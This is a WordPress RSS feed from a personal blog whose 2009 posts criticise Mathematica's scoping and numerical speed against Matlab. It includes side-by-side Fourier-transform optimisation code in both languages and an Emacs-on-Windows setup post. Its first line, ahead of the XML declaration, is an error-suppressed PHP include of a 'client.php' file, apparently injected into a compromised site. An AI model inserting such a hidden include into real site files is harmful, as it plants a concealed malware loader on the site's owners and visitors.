@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Posts technical---or quite simplistic &#187; mathematica</title>
	<atom:link href="http://dnquark.com/blog/tag/mathematica/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 04 Jun 2012 12:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>That-Which-Must-Not-Be-Named (on Mathgroup)</title>
		<link>http://dnquark.com/blog/2009/11/that-which-must-not-be-named-on-mathgroup/</link>
		<comments>http://dnquark.com/blog/2009/11/that-which-must-not-be-named-on-mathgroup/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 22:50:58 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=85</guid>
		<description><![CDATA[My Mathematica adventures continue.  I am slowly hammering out a good way to manage namespaces and scoping.  I was hoping to write a set of concise utility functions for that purpose, but ran into severe roadblocks.  Certain things related to switching contexts in the front end turn out to be impossible programmatically from the kernel [...]]]></description>
			<content:encoded><![CDATA[<p>My Mathematica adventures continue.  I am slowly hammering out a good way to manage namespaces and scoping.  I was hoping to write a set of concise utility functions for that purpose, but ran into severe roadblocks.  Certain things related to switching contexts in the front end turn out to be impossible programmatically from the kernel -- the workaround is to manipulate the front-end from the kernel, essentialy spawning and evaluating cells.  Trying to do this resulted in a bunch of unexplained and unanticipated behavior, meaning my utility functions remain in the "almost but not quite" state of readiness.  I don't intend to work on that any longer, since I already have a set of (more verbose) commands at my disposal that do what I need.</p>
<p>I did, however, finally ask the question on Mathgroup about why there isn't a scoping construct that  would effectively shield every symbol inside of it by default.  I've been meaning to ask this for years.  I didn't get a direct answer, but some insightful comments did arise on that thread -- in particular David Park discussed  f[a_,b_][x_] := ... and With[{a=...,b=...}, f[x_]:=...]  idioms for managing constant parameters, and Leonid Shifrin suggested the possibility of using a `Private subcontext in a Begin["Context`"];...;End[] construct.  That's a good idea that might come in handy at some point.</p>
<p>But a most curious thing happened to my message on the way to the Mathgroup subscribers.  You can read the original message below.  Twice in the body of the message I draw comparisons with my other workhorses -- Matlab and R.  If you now search for my message on the Mathgroup archives or Google Groups, you will see that the mention of Matlab has disappeared, leaving R sad and alone.</p>
<p>Mathgroup is moderated, yet I can't quite fathom the rationale for that peculiar redaction.  But it's fun to hypothesize that there's some sort of a cold war going on between Mathworks and Wolfram, with hackers, and secret agents,  poison-tipped umbrellas in Boston, and car bombings outside sultry cafes in Champaign, IL.  Which brings up an interesting question -- to whose posse do I belong?..  Am I on the <a href="http://www.math.mcgill.ca/~wilds/self/matlab_logo.html">L-shaped membrane eigenmode</a> crew, or are <a href="http://blog.wolfram.com/?year=2007&amp;monthnum=05&amp;name=making-the-mathematica-6-spikey">hyperbolic dodecahedrons</a> my homies?..  As of late, I am spending lots of time with both, so I'd consider myself a double agent of sorts.  If history is any indication, though, I am much more likely to flame Mathematica -- although I've become less aggressive after I RTFMed the core docs and bits of the Mathematica book.  Text of my message to Mathgroup follows.</p>
<blockquote><p>Dear Mathematica gurus,</p>
<p>One of the things that initially made Mathematica difficult for me to use was scoping -- in particular, the fact that all symbols by default appear in the global namespace.  Even though this is a default behavior for interactive evaluation in many packages, e.g. Matlab and R, in Mathematica, it leads to a greater potential for errors because unlike those languages, in Mathematica (1). a symbol can have multiple DownValues, and (2). if one forgets to explicitly localize a symbol inside a scoping construct, it may silently be taken from the global namespace.</p>
<p>After many years I finally figured out a (more or less) clean way to structure my code and workflow, through a combination of defining modules, contexts, packages, and careful use of Clear and Remove.</p>
<p>I still wonder, however, why there isn't a construct similar to Module that would define a unique private context for _all_ symbols within the construct (i.e. without having to declare them in a list).  You can kind of simulate this behavior by using BeginContext["MyCont`"] together with redefining $ContextPath temporarily to only have "MyCont`" and "System`".  This is obviously too verbose to be of practical use, but I do wonder why there isn't a built-in construct.</p>
<p>I suppose my question is -- is there a deep wisdom behind its absence, or perhaps I am an anomaly in thinking that such behavior (automatic lexical scoping for symbols in subroutines, present in Matlab, R, and many others) would be incredibly handy?..</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/11/that-which-must-not-be-named-on-mathgroup/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The nice thing about Wolfram Research is...</title>
		<link>http://dnquark.com/blog/2009/07/the-nice-thing-about-wolfram-research-is/</link>
		<comments>http://dnquark.com/blog/2009/07/the-nice-thing-about-wolfram-research-is/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 09:21:26 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=60</guid>
		<description><![CDATA[...that even after on a public forum I tell the company co-founder and director of user interface research that the product of his life's work, basically, blows, the good folks at Wolfram actually went and optimized my code, making it run an order of magnitude faster (although still an order of magnitude slower than Matlab [...]]]></description>
			<content:encoded><![CDATA[<p>...that even after <a href="http://www.reddit.com/r/programming/comments/8yeux/python_vs_matlab_vs_mathematica/c0au5ks">on a public forum</a> I tell the company <a href="http://www.theodoregray.com/">co-founder and director of user interface research</a> that the product of his life's work, basically, blows, the good folks at Wolfram actually <a href="http://www.dnquark.com/blog/?p=29#comment-6">went and optimized my code</a>, making it run an order of magnitude faster (although <em>still</em> an order of magnitude slower than Matlab on my test machine).</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/the-nice-thing-about-wolfram-research-is/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>So what&#039;s really wrong with Mathematica?..</title>
		<link>http://dnquark.com/blog/2009/07/so-whats-really-wrong-with-mathematica/</link>
		<comments>http://dnquark.com/blog/2009/07/so-whats-really-wrong-with-mathematica/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 01:47:34 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=42</guid>
		<description><![CDATA[I think the main problem with Mathematica is very simple: the Notebook interface tries to be user-friendly, and tries to enable literate programming. It makes doing straightforward calculations very easy. However, this belies the fact that Mathematica is an extremely complex system, and it requires a great amount of mathematical sophistication to understand how it [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-45" title="Clipboard01" src="http://www.dnquark.com/blog/wp-content/uploads/2009/07/Clipboard01-300x251.jpg" alt="Clipboard01" width="300" height="251" />I think the main problem with Mathematica is very simple: the Notebook interface tries to be user-friendly, and tries to enable literate programming. It makes doing straightforward calculations very easy. However, this belies the fact that Mathematica is an extremely complex system, and it requires a great amount of mathematical sophistication to understand how it works. Anybody that's not a mathematician or a computer scientist by trade (or by calling) runs head first into the exponential learning curve (Fig .1). I don't know anybody in my scientific community (Applied Physics) that is proficient with Mathematica beyond the basics they need for quick plots and integrals.</p>
<p>This disconnect between the friendly interface and easy basics and the nighmarish syntax of rules, patterns, holds, folds, maps, delayed vs non-delayed, etc once you get into things that are just a little more complex leads to a tremendous amount of frustration. Furthermore, it is often hard to figure out which constructs are imporant and efficient for what I want to do, and which are syntactic sugar that's only useful for cellular automata. What's worse is that while every individual feature is reasonably well documented, there are no tutorials that I have found that tell you how to use them together to write efficient and maintainable code.</p>
<p>As a result, those of us that have smacked their heads against these problems long enough just give up and settle for Matlab -- surely much more specialized, but also much more intuitive, and for many people also much faster in terms of computing time. And most engineering students don't even bother with Mathematica -- Matlab is the de facto standard, and that's what everyone learns.</p>
<p>So my message to those ardent supporters of Mathematica is this: think of the vast population residing in the middle ground between wanting to do easy plots and integrals, and between wanting to conquer the world with cellular automata or power through sophisticated arbitrary-precision and symbolic calculations. We want to like Mathematica, but find it hard -- so please give us some guidance before we all defect to other software.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/so-whats-really-wrong-with-mathematica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mathematica?..  Don&#039;t hold back, tell us how you really feel</title>
		<link>http://dnquark.com/blog/2009/07/mathematica-dont-hold-back-tell-us-how-you-really-feel/</link>
		<comments>http://dnquark.com/blog/2009/07/mathematica-dont-hold-back-tell-us-how-you-really-feel/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 05:30:38 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=33</guid>
		<description><![CDATA[For years I've been meaning to post on a public forum my ruminations on the subject of how after about 5 years of day-to-day use,  it completely escapes me how to write good Mathematica code.  Granted, the discussion of "good" can be rather lengthy  in and of itself, but the main problem is that the [...]]]></description>
			<content:encoded><![CDATA[<p>For years I've been meaning to post on a public forum my ruminations on the subject of how after about 5 years of day-to-day use,  it completely escapes me how to write good Mathematica code.  Granted, the discussion of "good" can be rather lengthy  in and of itself, but the main problem is that the code is inefficient and unmaintainable.  I consider myself to be a reasonably intelligent person -- Ph.D. student, physics, engineering, all that jazz; I don't think I'm terrible at programming, and I've hung out with theoretical CS types enough to at least believe that rules, patterns, maps, folds  are useful and maybe even elegant -- so the fact that I've had trouble writing Mathematica code that doesn't disgust me is quite vexing.  Furthermore, I know people that are way smarter than I that have had similar problems.  In fact, I thought that this is an important issue -- to the point that I didn't want to treat it lightly, and so have been putting off posting on comp.soft-sys.math.mathematica for years.</p>
<p>Then, just a few hours ago, I saw a reddit link to a <a href="http://www.larssono.com/musings/matmatpy/index.html">page comparing some scientific computing code</a> implementation in Mathematica, Matlab, and Python.  Needless to say, Mathematica code makes one cry.  Well, it made me cry because it reminds me so much of my own code.  For all I know, others LOL their butts off looking at it.  In the commends, there is a counterexample -- a piece of code where Mathematica code is terse and simple compared to Matlab.  (Simple?  Mathematica?..  In any case, the code is really terse.)  The person posting is theodoregray -- which means that he's either a co-founder of Mathematica, or just some guy named Theodore Gray, or someone else altogether -- but I hope he's <em>the </em>Theodore Gray.  Wouldn't it be neat to have someone like him explain Mathematica to me?..  My mental process went something like this: "wow, am I really responding to a co-founder of Mathematica?"  And the next thought: "Theodore Gray, you ruined my life with your computer algebra system, you bastard!"  (Stephen Wolfram isn't blameless here, but I'll forgive him when he solves all mysteries of the universe with cellular automata, which should happen real soon now.)  In any case, if there ever was an opportunity to rant about Mathematica, that was it, and here's what I wrote:</p>
<blockquote><p>Now, about theodoregray's comment [link to the terse Mathematica clock applet]. His example proves nothing, except for possibly the fact that Mathematica is really good at tasks that about 99% of users will not care about and/or understand. Why is Mathematica code so brief here?.. Two reasons: First, Mathematica handles graphics primitives rather well. This has a lot to do with the basic language constructs of Mathematica, and the focus on list processing and symbolic computations instead of the raw procedural number crunching of Matlab. Second, the use of Dynamic[] construct, which has no direct equivalent in Matlab. So, congratulations: if I ever need a toy clock applet, I'll be using Mathematica. In fact, if I need interactive applets to illustrate the behavior of certain equations as parameters change, I'll use Mathematica with Manipulate[] and/or Dynamic[]. If I want to double-check my algebra, I'll use Mathematica. However, for anything that requires computation, or is simply code-intensive, I'll use Matlab.</p>
<p>If you think I have an axe to grind viz a viz Mathematica, you are completely right. It has wasted many months of my life in grad school, simply because its absolute ineptitude at numerical calculations made for very inefficient workflow, and the arcane syntax and reliance on notebook interface made it all but impossible to write maintainable code and create portable functions.</p>
<p>The notebook interface deserve special mention. It it rather handy for quick-and-dirty, on-the-fly computations, but it is orthogonal to writing robust code in a programming sense. All variables defined in a notebook are by default global across all notebooks. Making local variables using the menagerie of scoping constructs (Module[], Block[], With[]) is error-prone due to the fact that you have to supply a list of locals (in Matlab, you just start using them!) and due to subtle differences between the scoping constructs. Furthermore, there is no equivalent of Matlab structures and cell arrays, which make it easy to pass arguments between functions and keep things modular. What about debugging?.. The debugging facilities are a joke compared to Matlab.</p>
<p>All right, so one doesn't have to use notebook interface. Let's try to use Mathematica in the same way that we would use Matlab: write a script in plain ASCII and feed it to the kernel. Then we come back to the point of inefficiency. After quickly developing (in Mathematica) a function that took some Fourier transforms and performed integration (I still rely on Mathematica to help me with symbolics), I put it in a script and ran it. Took 2.5 hours. Not impressed, I reimplemented the same exact functions in Matlab. They now ran in 47 seconds(!)</p>
<p>I don't exclude the possibility that there are ways to make the code run faster, and I'd love to know where the bottleneck is -- in fact, here is the code: <a rel="nofollow" href="../?p=29">http://www.dnquark.com/blog/?p=29</a> -- go ahead, try to figure it out if you want -- but why should I spend days poring over Mathematica docs when Matlab just works (TM)?..</p>
<p>The moral of the story is this: if you are thinking about using Mathematica for things that involve numerical calculations, and you don't want the code to be a one-time throw-away affair, think again.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/mathematica-dont-hold-back-tell-us-how-you-really-feel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mathematica, 2.5 hours.  Matlab, 47 seconds.  Not impressed, WRI, not impressed.</title>
		<link>http://dnquark.com/blog/2009/07/mathematica-2-5-hours-matlab-47-seconds-not-impressed-wri-not-impressed/</link>
		<comments>http://dnquark.com/blog/2009/07/mathematica-2-5-hours-matlab-47-seconds-not-impressed-wri-not-impressed/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 04:36:48 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=29</guid>
		<description><![CDATA[The code is more or less identical (Mathematica version is necessarily more verbose, because, well, the syntax is more verbose. Unless you are drawing a clock applet.) By the way, since people or than me might be looking at this code, here's a brief synopsis of what it does: we are trying to optimize the [...]]]></description>
			<content:encoded><![CDATA[<p>The code is more or less identical (Mathematica version is necessarily more verbose, because, well, the syntax is more verbose.  <a href="http://blog.wolfram.com/2007/07/09/always-the-right-time-for-mathematica/">Unless you are drawing a clock applet</a>.)</p>
<p>By the way, since people or than me might be looking at this code, here's a brief synopsis of what it does: we are trying to optimize the transmission function of a certain planar structure over two parameters.  The cost function we chose to use in this optimization is <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_955b2241af3f8216fb1867238479a617.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\int | F^{-1}\{T(k)\} | /\mathrm{max}[|F^{-1}\{T(k)\}|]dx" /></span><script type='math/tex'>\int | F^{-1}\{T(k)\} | /\mathrm{max}[|F^{-1}\{T(k)\}|]dx</script>, where T(k) depends on the optimization parameters.  So the code simply iterates through a 2D matrix of parameters computing the cost function integral and recording the result.</p>
<table border="0">
<tbody>
<tr>
<td><strong>Mathematica</strong>:</td>
<td><strong>Matlab</strong>:</td>
</tr>
<tr>
<td valign="top">
<pre>(* Fourier transform function definitions: *)

FftShift1D[x_] :=
 Module[{n = Ceiling[Length[x]/2]},
  Join[Take[x, n - Length[x]],
   Take[x, n]]]; (* operates just like matlab fftshift function *)
(* wrapper over the fft function.  Return values are in a replacement \
list, so usage is as follows:
{a,b,c,d}={transform,kpoints,klim,smpRateK} \
/.PerformDft1[foo,xlim,samprate]
*)
PerformDft1[func_, xLim_, smpRateX_] :=
 Module[{kLim, step, kstep, Nw, data, dataTransform, xvec, kvec},
  step = 1/smpRateX;
  Nw = 2*xLim/step; kLim = smpRateX; kstep = 1/(2*xLim);
  xvec = Table[x, {x, -xLim, xLim - step, step}];
  kvec = Table[k, {k, -kLim/2, kLim/2 - kstep, kstep}];
  data = FftShift1D[func /@ xvec];
  dataTransform =
   smpRateX^-1*Fourier[data, FourierParameters -&gt; {1, -1}];
  {transform -&gt; dataTransform, kpoints -&gt; kvec, klim -&gt; kLim,
   smpRateK -&gt; 1/kstep}
  ]

TESlabTransmissionNice[kx_, mu11_, d_] :=
 Module[{m0 = 1, mu1, kz0, kz1, epar = 1, mperp = 1, eps = 10^-20},
  m0 = m0 + I*eps; mu1 = mu11 + I*eps; epar = epar + I*eps;
  kz0 = Sqrt[m0 - (kx^2) ]; kz1 = Sqrt[mu1 (epar - kx^2/mperp)];
  1 / (Cos[d kz1] -
     I/2 ((mu1 kz0)/(m0 kz1) + (m0 kz1)/(mu1 kz0)) Sin[d kz1])
  ]

MagneticSlabTransmission[kx_, mupp_, d_] :=
  Module[{mu1 = -1 + I*mupp, h = 0.5},
   Exp[-2 Pi 2 h Sqrt[kx^2 - 1]] TESlabTransmissionNice[kx, mu1,
     2 Pi d]];

CostFunctionIntegrand[fn_, print_: False] :=
 Module[{xLim = 100, xSmpRate = 100, xform, kvec, srk},
  {xform, kvec, srk} = {transform, kpoints, smpRateK} /.
    PerformDft1[fn, xLim, xSmpRate];
  xform = FftShift1D@xform;
  If[print,
   Print[ListPlot[Re[Transpose[{kvec, xform}]],
     PlotRange -&gt; {{-1, 1}, All}]];
   Print["k sampling rate: ", srk];
   ];
  Transpose[{kvec, Abs[xform]/Max[Abs[xform]]}]
  ]

ComputeCostFunction[fn_] := Module[{integrand, min, max},
  integrand = CostFunctionIntegrand[fn];
  min = Min[integrand[[All, 1]]];
  max = Max[integrand[[All, 1]]];
  Integrate[
   Interpolation[integrand, InterpolationOrder -&gt; 2][x], {x, min, max}]
  ]

ComputeCostAndOutput[d_, mpp_,
  fname_] := PutAppend[{d, mpp,
    ComputeCostFunction[MagneticSlabTransmission[#, mpp, d] &amp;]},fname];
(* can be read in using perl -pe 's/{(.+)}$/$1/' to strip the braces,
(nb: here + should really be *, just can't easily put it within mma
comment); then: Import["param_optim_numerics\\par_opt1.dat", "CSV"] *)

Map[((ComputeCostAndOutput[#1, #2, "costfn1.dat"] &amp;) @@ #) &amp;,
 Table[{d, mpp}, {d, 0.05, 1, 0.05}, {mpp, 0.05, 1, 0.05}], {2}]</pre>
</td>
<td valign="top">
<pre>%% ComputeCostAndOutput.m
%
outfile = fopen('par_opt1_matlab.dat','w');
for d=0.05:0.05:1
    for mpp=0.05:0.05:1
        integrand = CostFunctionIntegrand(...
            @(x)(MagneticSlabTransmission(x,mpp,d)));
        costfn=trapz(integrand.kvec,integrand.int);
        fprintf(outfile,'%f,%f,%f\n',d,mpp,costfn);
    end
end
fclose(outfile);

% CostFunctionIntegrand.m
function out=CostFunctionIntegrand(fh)
    xLim=100; xSmpRate=100;
    dftStruct = PerformDft1(fh,xLim,xSmpRate);
    xform = fftshift(dftStruct.transform);
    out.kvec = dftStruct.kpoints;
    out.int = abs(xform)./max(abs(xform));
end

% MagneticSlabTransmission.m
function out = MagneticSlabTransmission(kx,mu1,d,h)
    out=exp(-2*pi*2*h*sqrt(kx.^2-1)).*...
           TESlabTransmissionNice(kx,mu1,2*pi*d);
end

% TESlabTransmissionNice.m
function out = TESlabTransmissionNice(kx,mu11,d)
    m0=1; epar=1; mperp=1;
    m0 = m0 + i*eps; mu1 = mu11 + i*eps;
    epar = epar + i*eps; %#ok
    kz0 = sqrt(m0 - (kx.^2) );
    kz1 = sqrt(mu1.*(epar - kx.^2/mperp));
    out=(cos(d.*kz1)+(sqrt(-1)*(-1/2)).*(kz0.^(-1).*...
    kz1.*m0.*mu1.^(-1)+ ...
   kz0.*kz1.^(-1).*m0.^(-1).*mu1).*sin(d.*kz1)).^(-1);
end

% PerformDft1.m
function out = PerformDft1(fh,xLim,smpRateX)
    step = 1/smpRateX;
    Nw = 2*xLim/step; kLim = smpRateX;
    kstep = 1/(2*xLim);
    xvec = linspace(-xLim,xLim-step,Nw);
    kvec = linspace(-kLim/2,kLim/2-kstep,Nw);
    data = fftshift(fh(xvec));
    dataTransform = smpRateX^-1*fft(data);
    out.transform = dataTransform;
    out.kpoints = kvec;
    out.klim = kLim;
    out.smpRateK = 1/kstep;
end</pre>
</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/mathematica-2-5-hours-matlab-47-seconds-not-impressed-wri-not-impressed/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Emacs + Launchy + notepad2 + AutoHotkey make Windows tolerable</title>
		<link>http://dnquark.com/blog/2009/07/emacs-launchy-notepad2-make-windows-tolerable/</link>
		<comments>http://dnquark.com/blog/2009/07/emacs-launchy-notepad2-make-windows-tolerable/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 12:35:35 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=19</guid>
		<description><![CDATA[I have finally kicked Windows notepad completely to the curb, having replaced it with notepad2 as per instructions here.  But I didn't stop there.  I realized that by putting essential light-weight customizations into a separate file (init.q.el, q for quick) and replacing the shortcut to my Emacs with C:\Emacs\emacs-23.0.95\bin\runemacs.exe -q -l "%HOME%\.emacs.d\init.q.el", I can make [...]]]></description>
			<content:encoded><![CDATA[<p>I have finally kicked Windows notepad completely to the curb, having replaced it with notepad2 as per instructions <a href="http://lifehacker.com/378524/replace-notepad-with-notepad2">here</a>.  But I didn't stop there.  I realized that by putting essential light-weight customizations into a separate file (init.q.el, q for quick) and replacing the shortcut to my Emacs with<br />
C:\Emacs\emacs-23.0.95\bin\runemacs.exe -q -l "%HOME%\.emacs.d\init.q.el",<br />
I can make it launch almost as fast as notepad.  So, I did my usual trick of appending the names of commonly used files where I keep my notes to the above command line, putting the shortcut somewhere in the start menu where Launchy can find it, and having instant access to the information I need -- in Emacs!</p>
<p>But I didn't stop there.  I snagged the recently released binaries for Emacs 23 and installed nice fonts -- I'm a fan of DejaVu Sans 10 and Consolas 11, and now my text editing is beautiful.  Anyhow, I guess I'm getting pretty indoctrinated by the Church of Emacs.  I don't particularly like the idea of RMS as my spiritual leader, but I'm fine with worshiping Yidong.  I just wish he'd forced me to see the light back in undergrad :P</p>
<p>So how does AutoHotkey fit into the picture?  Well, it makes it trivial to send any file from Windows Explorer to Emacs with a keyboard shortcut.  See <a href="http://stackoverflow.com/questions/455077/how-to-create-a-right-click-context-shell-shortcut-edit-with-emacs">this stackoverflow thread</a> for details!  The thread also describes how you can also add send-to-Emacs to a context menu.  Sending things to Emacs can work in several ways, but I like the idea of starting Emacs server (M-x server-start) in one instance of Emacs, and then all these send-to-Emacs actions will direct the files to that particular instance.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/emacs-launchy-notepad2-make-windows-tolerable/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Matlab vs Mathematica, part ....</title>
		<link>http://dnquark.com/blog/2009/07/hello-world/</link>
		<comments>http://dnquark.com/blog/2009/07/hello-world/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 09:13:52 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mathematica]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=1</guid>
		<description><![CDATA[Simple code to compute a Fourier transform and numerically integrate the output.  Takes 2.5 hours to run in Mathematica, 47 seconds in Matlab.  Moral of the story?..  If it's easy to translate Mathematica code to Matlab -- don't bother with numerics in Mathematica...]]></description>
			<content:encoded><![CDATA[<p>Simple code to compute a Fourier transform and numerically integrate the output.  Takes 2.5 hours to run in Mathematica, 47 seconds in Matlab.  Moral of the story?..  If it's easy to translate Mathematica code to Matlab -- don't bother with numerics in Mathematica...</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/hello-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
